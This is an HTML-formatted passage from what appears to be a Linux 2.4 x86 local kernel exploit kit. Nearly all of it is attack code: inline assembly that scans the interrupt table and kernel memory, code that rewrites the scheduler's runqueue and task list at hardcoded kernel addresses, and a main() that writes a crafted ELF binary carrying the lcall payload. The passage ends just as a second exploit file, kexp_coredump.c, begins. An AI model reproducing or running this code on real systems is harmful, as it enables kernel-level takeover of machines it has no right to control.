&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
*/<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct exec_domain
*exec_domain;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; volatile long
need_resched;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
ptrace;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
lock_depth;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* Lock
depth */<br>
&nbsp;<br>
&nbsp;/*<br>
&nbsp; * offset 32 begins here on 32-bit platforms. We keep<br>
&nbsp; * all fields in a single cacheline that are needed for<br>
&nbsp; * the goodness() loop in schedule().<br>
&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long counter;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long nice;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
policy;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int processor;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
cpus_runnable is ~0 if the process is not running on any<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * CPU. It's
(1 &lt;&lt; cpu) if it's running on a CPU. This mask<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * is updated
under the runqueue lock.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * To
determine whether a process might run on a CPU, this<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * mask is
AND-ed with cpus_allowed.<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
cpus_runnable, cpus_allowed;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * (only the
'next' pointer fits into the cacheline, but<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * that's
just fine.)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
run_list;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
sleep_time;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*next_task, *prev_task;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void
*active_mm;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
local_pages;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned int
allocation_order, nr_local_pages;<br>
&nbsp;<br>
&nbsp;/* task state */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; void *binfmt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int exit_code,
exit_signal;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
pdeath_signal;&nbsp; /*&nbsp; The signal sent when the parent
dies&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* ??? */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned long
personality;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int
did_exec:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; unsigned
task_dumpable:1;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t
tty_old_pgrp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t session;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pid_t tgid;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* boolean value
for session group leader */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int leader;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /*<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * pointers
to (original) parent process, youngest child, younger sibling,<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; * older
sibling, respectively.&nbsp; (p-&gt;father can be replaced with<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *
p-&gt;p_pptr-&gt;pid)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*p_opptr, *p_pptr, *p_cptr, *p_ysptr, *p_osptr;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head
thread_group;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* PID hash table
linkage. */<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
*pidhash_next;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct task_struct
**pidhash_pprev;<br>
&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct
list_head&nbsp;
wait_chldexit;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* for
wait4() */<br>
};<br>
<br>
static inline void __list_add(struct list_head *new,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head *prev,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; struct list_head *next)<br>
{<br>
&nbsp;&nbsp; &nbsp;next-&gt;prev = new;<br>
&nbsp;&nbsp; &nbsp;new-&gt;next = next;<br>
&nbsp;&nbsp; &nbsp;new-&gt;prev = prev;<br>
&nbsp;&nbsp; &nbsp;prev-&gt;next = new;<br>
}<br>
<br>
static inline void add_task_list(struct task_struct *head, struct
task_struct *tsk)<br>
{<br>
&nbsp;&nbsp; &nbsp;tsk-&gt;next_task = head;<br>
&nbsp;&nbsp; &nbsp;tsk-&gt;prev_task = head-&gt;prev_task;<br>
&nbsp;&nbsp; &nbsp;head-&gt;prev_task-&gt;next_task = tsk;<br>
&nbsp;&nbsp; &nbsp;head-&gt;prev_task = tsk;<br>
}<br>
<br>
static inline struct task_struct * get_current(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;struct task_struct *current;<br>
&nbsp;&nbsp; &nbsp;__asm__("andl %%esp,%0; ":"=r" (current) : "0"
(~8191UL));<br>
&nbsp;&nbsp; &nbsp;return current;<br>
}<br>
<br>
void exploit_start(void) {}<br>
void exploit()<br>
{<br>
&nbsp;&nbsp; &nbsp;__asm__ __volatile__ ("<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jmp x1<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;x1:&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cli ## must do<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;pusha<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;pushl %esp<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;popl %eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;sidt (%eax)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movl 2(%eax),%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;xorl %ebx,%ebx<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movb \$0xfb,%bl<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rol \$0x3,%ebx<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add %ebx,%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movw 6(%eax),%di<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;rol \$16,%edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movw (%eax),%di<br>
&nbsp;&nbsp; &nbsp;find_smp:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;inc %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movb (%edi),%bl<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cmpb \$0xe8,%bl<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jnz find_smp<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;inc %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add (%edi),%edi<br>
&nbsp;&nbsp; &nbsp;find:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;dec %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movl (%edi),%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;and \$0x0000ffff,%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cmpl \$0x00ec83,%eax<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jnz find<br>
&nbsp;&nbsp; &nbsp;aaaa:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;jmp xxx<br>
&nbsp;&nbsp; &nbsp;bback:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;push %edi<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ret<br>
&nbsp;&nbsp; &nbsp;xxx:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;call bback<br>
&nbsp;&nbsp; &nbsp;bbbbbb:<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;cli ## must do<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;popa<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;nop<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;ret<br>
&nbsp;&nbsp; &nbsp;");<br>
<br>
&nbsp;&nbsp;&nbsp; {<br>
&nbsp;&nbsp; &nbsp;struct list_head *runqueue_head;<br>
&nbsp;&nbsp; &nbsp;struct task_struct *init_task;<br>
&nbsp;&nbsp; &nbsp;struct task_struct *current, *parent,
*copy_task;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
<br>
&nbsp;&nbsp; &nbsp;runqueue_head = (void *) 0xc0335ec0;<br>
&nbsp;&nbsp; &nbsp;init_task = (void *) 0xc037c000;<br>
<br>
&nbsp;&nbsp; &nbsp;//__asm__ ("cli");<br>
&nbsp;&nbsp; &nbsp;for(i = 0; i &lt; 100000000; i++) /* wait a
moment ... */<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;__asm__ __volatile__
("nop");<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__ __volatile__ ("<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;movl (%1),%0;"<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;:"=r" (parent)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;:"r" (20)); /* task pointer
of parent */<br>
<br>
&nbsp;&nbsp; &nbsp;copy_task = parent-&gt;p_cptr;<br>
&nbsp;&nbsp; &nbsp;current = get_current();<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;runqueue_head-&gt;prev = runqueue_head;<br>
&nbsp;&nbsp; &nbsp;runqueue_head-&gt;next = runqueue_head;<br>
&nbsp;&nbsp; &nbsp;init_task-&gt;prev_task = init_task;<br>
&nbsp;&nbsp; &nbsp;init_task-&gt;next_task = init_task;<br>
<br>
/*<br>
&nbsp;&nbsp; &nbsp;for (i = 0; i &lt; 20; i++) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;tsk =
find_task_by_pid(i);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;if (tsk &amp;&amp;
tsk-&gt;state == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;__list_add(&amp;tsk-&gt;run_list, runqueue_head,
runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;add_task_list(&amp;init_task, tsk);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;}<br>
&nbsp;&nbsp; &nbsp;}<br>
*/<br>
&nbsp;&nbsp; &nbsp;<br>
&nbsp;&nbsp; &nbsp;if (parent-&gt;state == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;__list_add(&amp;parent-&gt;run_list, runqueue_head,
runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add_task_list(init_task,
parent);<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;if (parent-&gt;p_pptr-&gt;state == 0) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;__list_add(&amp;parent-&gt;p_pptr-&gt;run_list,
runqueue_head, runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;add_task_list(init_task,
parent-&gt;p_pptr);<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memcpy(current, copy_task, sizeof(struct
task_struct));<br>
<br>
&nbsp;&nbsp; &nbsp;__list_add(&amp;current-&gt;run_list,
runqueue_head, runqueue_head-&gt;next);<br>
&nbsp;&nbsp; &nbsp;add_task_list(init_task, current);<br>
<br>
&nbsp;&nbsp; &nbsp;/*<br>
&nbsp;&nbsp; &nbsp; * current-&gt;p_opptr<br>
&nbsp;&nbsp; &nbsp; * current-&gt;p_pptr<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;current-&gt;p_cptr = NULL;<br>
&nbsp;&nbsp; &nbsp;current-&gt;p_ysptr = NULL;<br>
&nbsp;&nbsp; &nbsp;current-&gt;p_osptr = NULL;<br>
&nbsp;&nbsp; &nbsp;current-&gt;pid = 65535;<br>
&nbsp;&nbsp; &nbsp;current-&gt;state = -1;<br>
&nbsp;&nbsp; &nbsp;current-&gt;need_resched = 1;<br>
&nbsp;&nbsp; &nbsp;current-&gt;sigpending = 0;<br>
&nbsp;&nbsp;&nbsp; }<br>
<br>
#ifdef __TEST_LCALL__<br>
&nbsp;&nbsp; &nbsp;i = 'A';<br>
&nbsp;&nbsp; &nbsp;for (;;)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;g_write(1, &amp;i, 1);<br>
&nbsp;&nbsp; &nbsp;for (;;) __asm__ __volatile__("hlt");<br>
#endif<br>
<br>
&nbsp;&nbsp; &nbsp;/* __asm__ ("sti"); */<br>
}<br>
<br>
/*<br>
extern exploit;<br>
__asm__ (<br>
"exploit:\n\t"<br>
&nbsp;&nbsp; &nbsp;"cli&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"hlt&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;"int3&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;&nbsp; &nbsp;\n\t"<br>
&nbsp;&nbsp; &nbsp;);<br>
*/<br>
<br>
void exploit_end(void) {}<br>
<br>
static inline g_syscall3(int, sigaction, int, signum, const struct
sigaction *, act,<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;struct sigaction *,
oldact)<br>
<br>
void lcall(void);<br>
void lcall_end(void);<br>
<br>
void lcall(void)<br>
{<br>
&nbsp;&nbsp; &nbsp;struct sigaction old, new;<br>
&nbsp;&nbsp; &nbsp;void *loop_addr;<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__ volatile (<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"jmp get_loop_addr\n\t"<br>
&nbsp;&nbsp; &nbsp;"ret_loop_addr:\n\t"<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"popl %0\n\t"<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; :"=m" (loop_addr)
:);<br>
<br>
&nbsp;&nbsp; &nbsp;bzero(&amp;new, sizeof(new));<br>
&nbsp;&nbsp; &nbsp;new.sa_handler = loop_addr;<br>
&nbsp;&nbsp; &nbsp;g_sigaction(SIGSEGV, &amp;new, &amp;old);<br>
<br>
&nbsp;&nbsp; &nbsp;__asm__ volatile (<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"jmp do_lcall;"<br>
&nbsp;&nbsp; &nbsp;"get_loop_addr: "<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"call ret_loop_addr;"<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;"ret;"<br>
&nbsp;&nbsp; &nbsp;"do_lcall:"<br>
&nbsp;&nbsp; &nbsp;);<br>
&nbsp;&nbsp; &nbsp;while (1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;__asm__ ("lcall \$0x7,
\$0x0");<br>
&nbsp;&nbsp; &nbsp;}<br>
}<br>
void lcall_end(void) {}<br>
<br>
int main()<br>
{<br>
#define ENTRY_OFFSET 4096<br>
&nbsp;&nbsp; &nbsp;int fd = -1;<br>
&nbsp;&nbsp; &nbsp;Elf32_Ehdr ehdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Phdr phdr;<br>
&nbsp;&nbsp; &nbsp;Elf32_Shdr shdr;<br>
&nbsp;&nbsp; &nbsp;int i;<br>
&nbsp;&nbsp; &nbsp;unsigned char code_align[4096];<br>
<br>
&nbsp;&nbsp; &nbsp;fd = open("lcall", O_WRONLY|O_CREAT|O_TRUNC,
S_IRWXU);<br>
&nbsp;&nbsp; &nbsp;if (fd == -1) {<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;perror("open lcall");<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;goto err;<br>
&nbsp;&nbsp; &nbsp;}<br>
<br>
&nbsp;&nbsp; &nbsp;memset(&amp;ehdr, 0, sizeof(ehdr));<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG0] = 0x7f;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG1] = 'E';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG2] = 'L';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_MAG3] = 'F';<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_CLASS] = ELFCLASS32;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_DATA] = ELFDATA2LSB;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ident[EI_VERSION] = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_type = ET_EXEC ;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_machine = EM_386;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_version = EV_CURRENT;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_ehsize = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phentsize = sizeof(Elf32_Phdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shentsize = sizeof(Elf32_Shdr);<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phnum = 2;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_phoff = sizeof(Elf32_Ehdr);<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shnum = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shoff = 0;<br>
<br>
&nbsp;&nbsp; &nbsp;ehdr.e_shstrndx = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_flags = 0;<br>
&nbsp;&nbsp; &nbsp;ehdr.e_entry = 0x08480000 + ENTRY_OFFSET;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;ehdr, sizeof(ehdr)); /* Elf
header */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset = 0;<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0x08480000;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = PF_R|PF_X|PF_W;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;phdr.p_type = PT_LOAD;<br>
&nbsp;&nbsp; &nbsp;phdr.p_offset = ENTRY_OFFSET +
sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_vaddr = 0x0;<br>
&nbsp;&nbsp; &nbsp;phdr.p_paddr = phdr.p_vaddr;<br>
&nbsp;&nbsp; &nbsp;phdr.p_filesz = sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_memsz = sizeof(code_align);<br>
&nbsp;&nbsp; &nbsp;phdr.p_flags = PF_R|PF_X|PF_W;&nbsp;&nbsp;
&nbsp;<br>
&nbsp;&nbsp; &nbsp;phdr.p_align = 0x1000;<br>
<br>
&nbsp;&nbsp; &nbsp;write(fd, &amp;phdr, sizeof(phdr)); /* Phdr
header - PT_LOAD */<br>
<br>
&nbsp;&nbsp; &nbsp;memset(code_align, '\x90',
sizeof(code_align));<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align, lcall, &amp;lcall_end -
&amp;lcall);<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET, SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, code_align, sizeof(code_align)); /*
part of TEXT Segment */<br>
<br>
&nbsp;&nbsp; &nbsp;/* virtual address 0x00000000:<br>
&nbsp;&nbsp; &nbsp; * [execdomain name pointer][handler for
syscalls][stack &amp; register save][jmp code][task pointer of
parent])<br>
&nbsp;&nbsp; &nbsp;
*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
4<br>
&nbsp;&nbsp; &nbsp; */<br>
&nbsp;&nbsp; &nbsp;memset(code_align, '\x90',
sizeof(code_align));<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align,
"\x90\x90\xff\x25\x08\x00\x00\x00", 8); /* handler for syscalls
*/<br>
//&nbsp;&nbsp; &nbsp;memcpy(code_align,
"\x00\x00\x00\x00\x08\x00\x00\x00", 8); /* handler for syscalls
*/<br>
&nbsp;&nbsp; &nbsp;memcpy(code_align+8, &amp;exploit,
&amp;exploit_end - &amp;exploit);<br>
//&nbsp;&nbsp; &nbsp;memcpy(code_align, sc, sizeof(sc));<br>
&nbsp;&nbsp; &nbsp;lseek(fd, ENTRY_OFFSET + sizeof(code_align),
SEEK_SET);<br>
&nbsp;&nbsp; &nbsp;write(fd, code_align, sizeof(code_align)); /*
0x0 Segment for lcall27 */<br>
<br>
&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return 0;<br>
err:<br>
&nbsp;&nbsp; &nbsp;if (fd != -1)<br>
&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;close(fd);<br>
&nbsp;&nbsp; &nbsp;return -1;<br>
}<br>
__EOF__<br>
<br>
## kexp_coredump.c<br>
cat &lt;&lt; __EOF__ &gt; kexp_coredump.c<br>
/*<br>
&nbsp;* Written by :<br>
&nbsp;*&nbsp;&nbsp; &nbsp;grip2 &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;
&nbsp;&lt;gript2@hotmail.com&gt;<br>
&nbsp;*&nbsp;&nbsp; &nbsp;airsupply &nbsp;&nbsp;
&nbsp;&lt;airsupply@0x557.org&gt;<br>
&nbsp;*/<br>
<br>
#include &lt;stdio.h&gt;<br>
#include &lt;stdlib.h&gt;<br>
#include &lt;errno.h&gt;<br>
#include &lt;unistd.h&gt;<br>
<br>
#include &lt;sys/time.h&gt;<br>
#include &lt;sys/resource.h&gt;<br>
<br>
#define BINELF_OVERFLOW&nbsp;&nbsp; &nbsp;"overflow"<br>
